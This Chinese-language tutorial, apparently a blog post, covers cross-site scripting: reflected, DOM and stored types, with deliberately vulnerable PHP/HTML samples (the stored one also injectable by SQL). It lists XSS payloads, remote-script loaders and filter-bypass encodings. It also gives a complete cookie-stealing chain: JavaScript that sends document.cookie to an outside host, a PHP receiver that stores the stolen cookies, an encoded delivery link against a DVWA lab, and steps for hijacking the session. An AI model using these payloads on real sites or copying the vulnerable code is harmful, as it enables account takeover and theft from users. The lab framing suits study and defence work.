XSS漏洞
漏洞介绍:
XSS 攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS,XSS 是一种在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到 web 网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生 xss 攻击。
漏洞危害:
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
如何防御:
对输入的参数和URL进行过滤,对输出的参数进行编码,使脚本无法正常执行。
XSS漏洞类型:
反射性XSS:
反射性XSS不是持久化的,攻击脚本不会储存在数据库中,而是构建在链接中,需要欺骗用户进行点击,用户再点击了包含恶意代码的链接后,服务器接收到请求并处理,把带有恶意脚本的发送给用户浏览器,浏览器对恶意脚本进行解析,触发攻击。
例:
这是一个带有xss漏洞的页面:
在xss漏洞处构造js代码,并把链接发送给用户进行点击:
http://192.168.0.102/01/vulnerabilities/xss_r/?name=<script>alert(1)</script>#
用户点击后执行JS代码:
反射型xss代码:
<?php
if ($_GET['submit']=='submit'){
$text=$_GET['text'];
}
?>
<html>
<head>
<meta charset="UTF-8">
<title>xss_01</title>
</head>
<body>
<form method="get">
<input type="text" name="text" id="text"/>
<input type="submit" name="submit" value="submit" id="sub"/>
</form>
<br>
您输入的为:<?php echo $text;?>
</body>
</html>
DOM型XSS:
DOM 型 XSS 其实是一种特殊类型的反射型 XSS,它是基于 DOM 文档对象模型的一种漏洞。
例:
我们输入1,发现1被输出到了<a href="1">what do you see?</a> a标签中,那么我们输入JS伪链接javascript:alert(1) :
我们点击这个a标签就可执行这个JS代码:
DOM型XSS代码:
<html>
<head>
<meta charset="UTF-8">
<title>DOM型XSS</title>
</head>
<body>
<form>
<label>请输入链接:</label>
<input type="text" name="text" id="text">
<input type="button" name="sub" id="sub" value="提交" onclick="change_url()">
</form>
<a href="#" id="url">点击跳转</a>
</body>
<script>
function change_url(){
var tex=document.getElementById('text');
var a=document.getElementById('url');
a.href=tex.value;
}
</script>
</html>
储存型XSS:
储存型xss,持久化,内容储存在数据库中,如评论、留言、发表文章的地方,对于传输来的数据过滤不严格,那么就可以将恶意代码插入到数据库中,用户访问该页面时,没有进行编码过滤输出到浏览器上,就会触发代码执行,造成 xss 攻击。
例:
这是一个含有储存型xss的页面,我们插入JS代码:
每当有用户查看此页面就会执行:
储存型xss代码:
<?php
include_once "../config/config.php";
if ($_POST['sub']){
$uname=$_POST['uname'];
$content=$_POST['content'];
$res=$conn->exec("insert into article(uname,content) value ('$uname','$content')");
if ($res){
echo '成功';
}else{
echo '插入失败';
}
}
?>
<html>
<head>
<meta charset="UTF-8">
<title>xss_02</title>
</head>
<body>
<form method="post">
<label>用户名:</label>
<input type="text" name="uname" id="uname">
<br>
<label>评论内容:</label>
<input type="text" name="content" id="con">
<br>
<input type="submit" name="sub" value="提交">
</form>
<table border="1">
<?php
$stmt=$conn->query("select uname,content from article");
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){
?>
<tr>
<td>用户名:</td>
<td><?php echo $row['uname'];?></td>
</tr>
<tr>
<td>评论: </td>
<td><?php echo $row['content'];?></td>
</tr>
<?php } ?>
</table>
</body>
</html>
数据库中的内容:
XSS测试:
常用语句:
<h5>1</h5>
<span>1</span>
<script>console.log(1);</script>
<script>alert(1);</script>
<svg onload=alert(1)/>
<a href=javascript:alert(1)/>
<img src=http://192.168.0.102/xss.js/>
.....
加载远程payload:
<script src='http://127.0.0.1/payload.js'></script>
<script src='https://127.0.0.1/payload.js'></script>
<script src='//127.0.0.1/payload.js'></script>
<img src='' οnerrοr=document.body.appendChild(document.createElement('script')).src='//127.0.01/payload.js'>
<script>p='document.'</script>
<script>p=p+'write("<script'</script>
<script>p=p+' src='</script>
<script>p=p+"/payload.js'></s"</script>
<script>p=p+'cript>")'</script>
<script>eval(p)</script>
<script>$.getScript("//127.0.0.1/payload.js");</script>
XSS漏洞利用:
XSS漏洞常见的利用方法就是盗取用户的Cookie,我曾经写过一篇利用XSS反射型加页面跳转盗取用户Cookie,在这我们用另一种方法,利用js的AJAX的技术,在页面不刷新不跳转的情况下将用户的Cookie存放到我们的数据库中,流程如下:
用户点击->加载远程payload->AJAX技术向Get_Cookie.php发送用户cookie->获取到cookie并存放到数据库
远程payload:xss_01.js文件内容如下:
var url = 'http://www.ldlx.com/xss/Get_Cookie.php?Cookie='+document.cookie;
const xhr = new XMLHttpRequest();
xhr.open('GET',url);
xhr.send();
接受cookie的PHP文件:Get_Cookie.php内容如下
<?php
include_once "../config/config.php";
if ($_GET['Cookie']){
$cookie=$_GET['Cookie'];
$sql="insert into cookies(cookie) values('$cookie')";
$conn->exec($sql);
}
config.php内容如下:
<?php
$username='www_ldlx_com';
$password='123456';
$servername='127.0.0.1';
$db_name = 'www_ldlx_com';
try {
$conn=new PDO("mysql:host=$servername;dbname=$db_name",$username,$password);
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
}catch (PDOException $e){
echo $e->getMessage();
}
数据库中Cookies表结构如下:
以上准备完成后开始:
首先准备payload:
<script src='//www.ldlx.com/xss/xss_01.js'></script>
可以URL编码一下:
%3c%73%63%72%69%70%74%20%73%72%63%3d%27%2f%2f%77%77%77%2e%6c%64%6c%78%2e%63%6f%6d%2f%78%73%73%2f%78%73%73%5f%30%31%2e%6a%73%27%3e%3c%2f%73%63%72%69%70%74%3e
准备实验环境,DVWA的LOW难度:
在URl中拼接上我们的payload:
http://192.168.0.102/01/vulnerabilities/xss_r/?name=%3c%73%63%72%69%70%74%20%73%72%63%3d%27%2f%2f%77%77%77%2e%6c%64%6c%78%2e%63%6f%6d%2f%78%73%73%2f%78%73%73%5f%30%31%2e%6a%73%27%3e%3c%2f%73%63%72%69%70%74%3e#
这是我们要获取的Cookie:
我们点击拼接好的payload,模拟用户点击:
页面没有变化,我们进数据库看看:
可以发现Cookie已经保存到了我们的数据库中。
拿到了Cookie怎么使用呢?我们先打开一个隐私窗口,进入DVWA的登录页面:
然后修改Cookie为我们拿到的Cookie:
然后修改URL为登陆进去才会有的URL,你就会发现我们成功登录了:
XSS绕过:
绕过gpc
gpc作用:转移特殊字符,在特殊字符前加反斜杠\ ,高版本PHP默认没有,但是可以使用addcslashes()函数对特殊字符进行转义,效果是一样的:
那么绕过方法也是很简单的,我们只要不使用单引号就行了,浏览器会自动为我们补上:
<script src=//www.ldlx.com/xss/xss_02.js></script>
绕过alert:
有时页面会过滤掉alert函数,那我们不使用alert 就行了呗:
<script>prompt('prompt')</script>
<script>confirm('confirm')</script>
<script src='//www.ldlx.com/xss/xss_payload.php?payload=2'></script>
xss_payload.php代码:
<?php
if ($_GET['payload']=='1'){
echo <<<EOF
var url = 'http://www.ldlx.com/xss/Get_Cookie.php?Cookie='+document.cookie;
// 创建ajax对象
const xhr = new XMLHttpRequest();
// 初始化
xhr.open('GET',url);
// 发送
xhr.send();
EOF;
}
if ($_GET['payload']=='2'){
echo <<<EOF
alert(/alert/);
prompt(/prompt/);
confirm(/confirm/);
EOF;
}
绕过标签过滤:
PHP的htmlspecialchars() 函数对字符进行实体化编码,被实体化编码的字符就不会再html中执行,也就是我们的< 和> 号就不会生效了:
但是有时过滤不严谨,没有在input 标签做编码,那么我们就可以利用,闭合前面的属性,然后使用JS事件来触发JS伪链接就可以绕过:
XSS各种编码:
ASCII编码:
<script>alert(String.fromCharCode(88,83,83))</script>
URL编码:
<a href="javascript:%61%6c%65%72%74%28%2f%78%73%73%2f%29">xss</a>
JSunicode编码:
<script>\u0061\u006c\u0065\u0072\u0074('xss');</script>
HTML编码:
<img src="x" onerror="alert(1)"/>
base64编码
使用伪协议base64解码:
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">xss</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></iframe>
data:text/html;base64, 伪协议,将后面的字符经过base64解码后作为HTML文件,我们把data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4= 放到浏览器URL上回车一下试试:
JS编码:
八进制:
<script>eval("\141\154\145\162\164\50\61\51");</script>
十六进制:
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29");</script>
|